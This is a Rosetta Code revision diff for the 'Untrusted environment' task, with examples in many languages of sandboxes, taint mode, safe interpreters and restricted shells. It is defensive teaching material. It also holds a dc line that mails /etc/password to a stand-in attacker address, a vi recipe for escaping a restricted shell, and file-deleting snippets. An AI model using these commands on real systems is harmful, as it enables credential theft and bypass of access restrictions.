Rosetta Code

Untrusted environment: Difference between revisions

Page Discussion

Untrusted environment (view source)

Revision as of 20:18, 28 February 2024

3,470 bytes added ,  3 months ago
Added FreeBASIC
(Added FreeBASIC)
 
(4 intermediate revisions by 2 users not shown)
Line 30:
Beware of allowing user input to fed to the reverse polish calculator. It has the ability to run shell commands, and this could be a security risk:
 
<langsyntaxhighlight lang="dc">`!'cat /etc/password|mail badguy@hackersrus.com</langsyntaxhighlight>
 
=={{header|FreeBASIC}}==
FreeBASIC does not have built-in functions specifically designed to handle untrusted input or code. However, there are general practices that can be followed to mitigate the risks associated with untrusted input:
# '''Input Validation''': Always validate user input before using it. This can help prevent issues like SQL injection, buffer overflow, etc.
# Prevent execution of untrusted code: FreeBASIC does not have a function to execute code dynamically (such as eval in JavaScript). But this is a good thing from a security point of view, as it reduces the risk of arbitrary code execution.
# Error Handling: Always include error handling in your code. This can prevent unexpected behavior and give you more control over what happens when an error occurs.
# '''Limiting system access''': Be careful when using system-level commands (such as SHELL). These can potentially be exploited to execute arbitrary commands on the host system.
# '''Safe Libraries and Functions''': Use libraries and functions that are known to be safe. Avoid using outdated or insecure features.
 
=={{header|Go}}==
Line 40 ⟶ 48:
 
The following example shows how to use a combination of reflection and pointer arithmetic to indirectly (and unsafely) change the contents of a byte slice.
<langsyntaxhighlight lang="go">package main
 
import (
Line 58 ⟶ 66:
}
fmt.Println(string(bs))
}</langsyntaxhighlight>
 
{{out}}
Line 103 ⟶ 111:
=={{header|Lua}}==
Lua supports protected calls and custom environments. Details have changed through various versions, and the specifics can become quite involved if/as needed, however the following might suffice as a simple example for Lua 5.2 or 5.3.
<langsyntaxhighlight lang="lua">local untrusted = [[
print("hello") -- safe
for i = 1, 7 do print(i, i*i) end -- safe
Line 110 ⟶ 118:
sandbox = { print=print }
local ret, msg = pcall(load(untrusted,nil,nil,sandbox))
print("ret, msg:", ret, msg)</langsyntaxhighlight>
{{out}}
<pre>hello
Line 150 ⟶ 158:
GP has a default, <code>secure</code>, which disallows the <code>system</code> and <code>extern</code> commands. Once activated this default cannot be removed without input from the user (i.e., not a script).
 
<langsyntaxhighlight lang="parigp">default(secure,1);
system("del file.txt");
default(secure,0); \\ Ineffective without user input</langsyntaxhighlight>
 
=={{header|Perl}}==
Perl can be invoked in taint mode with the command line option <code>-T</code>. While in this mode input from the user, and all variables derived from it, cannot be used in certain contexts until 'sanitized' by being passed through a regular expression.
 
<langsyntaxhighlight lang="perl">#!/usr/bin/perl -T
my $f = $ARGV[0];
open FILE, ">$f" or die 'Cannot open file for writing';
print FILE "Modifying an arbitrary file\n";
close FILE;</langsyntaxhighlight>
 
=={{header|Phix}}==
'''with safe_mode''' disables most potentially dangerous features such as file i/o, and invoking c_func/proc() or using inline assembly outside of Phix\builtins\, which should make it safer to try out code from an untrusted source. It behaves identically to a -safe command line option, however relying on the latter risks leaving a dangerous file lying around that might accidentally be run without the proper command line flag in some idle moment much later, whereas of course if you put it in the source, that's not such an issue.
{{improve|Phix|Implement this and add a "phix --safe" option.}}
<!--<syntaxhighlight lang="phix">(phixonline)-->
Phix makes no attempt to protect anyone from untrusted code or inputs from untrusted users. <br>
<span style="color: #000080;font-style:italic;">-- demo\rosetta\safe_mode.exw
However, in theory it would be reasonably straightforward to build a "crippled" version of phix that makes malicious activity all but impossible.
--
 
-- (distributed version has several more similar scraps,
The most dangerous construct is #ilASM{} (inline assembly), but it should not be difficult to prohibit that except in builtins\ and builtins\VM\ by adding a guard such as
-- this is just enough to give you the basic flavour.)
"if fileno>2 then ?9/0 end if" at the start of procedure ilASM() in pilasm.e. Obviously you simply never put any untrusted code in either of those directories.
--</span>
<span style="color: #008080;">with</span> <span style="color: #008080;">javascript_semantics</span> <span style="color: #000080;font-style:italic;">-- (erm, it kinda is anyway...)</span>
<span style="color: #008080;">with</span> <span style="color: #008080;">safe_mode</span>
<span style="color: #004080;">sequence</span> <span style="color: #000000;">cl</span> <span style="color: #0000FF;">=</span> <span style="color: #7060A8;">command_line</span><span style="color: #0000FF;">()</span>
<span style="color: #0000FF;">?</span><span style="color: #000000;">cl</span>
<span style="color: #008080;">if</span> <span style="color: #7060A8;">find_any</span><span style="color: #0000FF;">({</span><span style="color: #008000;">"-safe"</span><span style="color: #0000FF;">,</span><span style="color: #008000;">"--safe"</span><span style="color: #0000FF;">},</span><span style="color: #000000;">cl</span><span style="color: #0000FF;">)</span> <span style="color: #008080;">then</span> <span style="color: #0000FF;">?</span><span style="color: #000000;">9</span><span style="color: #0000FF;">/</span><span style="color: #000000;">0</span> <span style="color: #008080;">end</span> <span style="color: #008080;">if</span>
<span style="color: #000080;font-style:italic;">-- disallow inline assembly (at compile time):
--#ilASM{ mov eax,1 }
-- The above would be rejected outright by pwa/p2js anyway, with or without safe_mode</span>
<!--</syntaxhighlight>-->
Note that builtins\VM\pDiagN.e has to switch it off (eg to write an ex.err file when the program crashes), which is trivial to do but only via #ilASM{}, so a malicious programmer simply cannot, that is, as long as you actually use safe_mode, and don't ever put untrusted code into the builtins\ directory. Special allowances are made for mpfr.e (aka gmp) and pGUI.e (aka IUP), since they're not inherently dangerous; there might be some other libraries that deserve similar treatment.
 
As mentioned above, "with javascript_semantics" is itself a kind of safe mode anyway, that is if you run it in a browser, but it won't help in any way to stop the same file doing rude things should it be run on desktop/Phix.
The next most dangerous facility is file I/O, for that I might suggest putting similar but run-time guards in builtins\VM\pFileioN.e which get the calling routine number
from the call stack and then the file number from the symbol table (see [[Stack_traces#Phix]]), and then check that is <=3, ie the above two and the main phix directory,
since obviously you don't want to cripple I/O for the compiler itself, and in turn that means any untrusted code has to be put in some other directory.
 
Standard disclaimer applies:<br>
Similarly we have system/system_exec(), c_func/proc(), and call(), all of which you would probably want to disable from untrusted code. <br>
Everything this relies on was added for this task in less than 24 hours.<br>
Lastly I would recommend having a think about disabling libcurl, SQLite, etc, but that's a bit beyond my remit, and I should reiterate from the perl entry that a proper physically separate/expendable sandbox is probably the better idea, when possible.
In no way do I even begin to think this is secure or complete, but just
yesterday (at the time of writing) it was 100% totally insecure: there
was no "with safe_mode" option, no -safe command line option, nothing
at all to check or even store that option in the compiler, or runtime.
Should you want this to be improved, simply add more tests to demo\rosetta\safe_mode.exw, and
obviously complain if/should they not entirely meet your expectations.
 
=={{header|Racket}}==
The <tt>racket/sandbox</tt> library provides a way to construct limited evaluators which are prohibited from using too much time, memory, read/write/execute files, using the network, etc.
<langsyntaxhighlight lang="racket">
#lang racket
(require racket/sandbox)
(define e (make-evaluator 'racket))
(e '(...unsafe code...))
</syntaxhighlight>
</lang>
The idea is that a default sandbox is suitable for running arbitrary code without any of the usual risks. The library can also be used with many different configurations, to lift some of the restriction, which is more fitting in different cases.
 
Line 215 ⟶ 240:
For example, given ''cat.rexx'':
 
<langsyntaxhighlight lang="rexx">ADDRESS SYSTEM 'cat cat.rexx'</langsyntaxhighlight>
 
{{out}}
Line 229 ⟶ 254:
=={{header|Ruby}}==
Ruby handles untrusted input with the global variable <code>$SAFE</code>. Settings higher than 0 invoke an increasing level of sandboxing and general paranoia.
<langsyntaxhighlight lang="ruby">require 'cgi'
$SAFE = 4
cgi = CGI::new("html4")
eval(cgi["arbitrary_input"].to_s)</langsyntaxhighlight>
 
=={{header|Rust}}==
Line 256 ⟶ 281:
=={{header|Tcl}}==
Tcl allows evaluation of untrusted code through ''safe interpreters'', which are evaluation contexts where all unsafe operations are removed. This includes access to the filesystem, access to environment variables, the opening of sockets, description of the platform, etc.
<langsyntaxhighlight lang="tcl">set context [interp create -safe]
$context eval $untrustedCode</langsyntaxhighlight>
Because the only way that Tcl code can perform an operation is by invoking a command if that command is not present in the execution context then the functionality is gone.
 
It is possible to profile in restricted versions of operations to allow things like access to built-in packages.
<langsyntaxhighlight lang="tcl">set context [safe::interpCreate]
$context eval $untrustedCode</langsyntaxhighlight>
These work by installing aliases from the otherwise-removed commands in the safe interpreter to implementations of the commands in the parent master interpreter that take care to restrict what can be accessed. Note that the majority of unsafe operations are still not present, and the paths supported to the packages are virtualized; no hole is opened up for performing unsafe operations unless a package author is deliberately careless in their C implementation.
 
Line 270 ⟶ 295:
 
Variable references should be contained in double quotes to prevent an empty string causing an error as a result of omission during evaluation:
<langsyntaxhighlight lang="sh"># num=`expr $num + 1` # This may error if num is an empty string
num=`expr "$num" + 1` # The quotes are an improvement</langsyntaxhighlight>
 
=== Do not allow users to run programs that can launch a new shell ===
Line 284 ⟶ 309:
However, the restricted shell is not completely secure. A user can break out of the restricted environment by running a program that features a shell function. The following is an example of the shell function in vi being used to escape from the restricted shell:
 
<langsyntaxhighlight lang="vi">vi
:set shell=/bin/sh
:shell</langsyntaxhighlight>
 
=== Use a chroot jail ===
 
Sometimes chroot jails are used to add a layer of security to
<langsyntaxhighlight lang="bash">mkdir ~/jail
cd ~/jail;
chroot ~/jail;
setuid(9); # if 9 is the userid of a non-root user
rm /etc/hosts # actually points to ~/jail/etc/hosts</langsyntaxhighlight>
 
=={{header|Wren}}==
Jjuanhdez
2,130

edits

Retrieved from "https://rosettacode.org/wiki/Special:MobileDiff/223527...360978"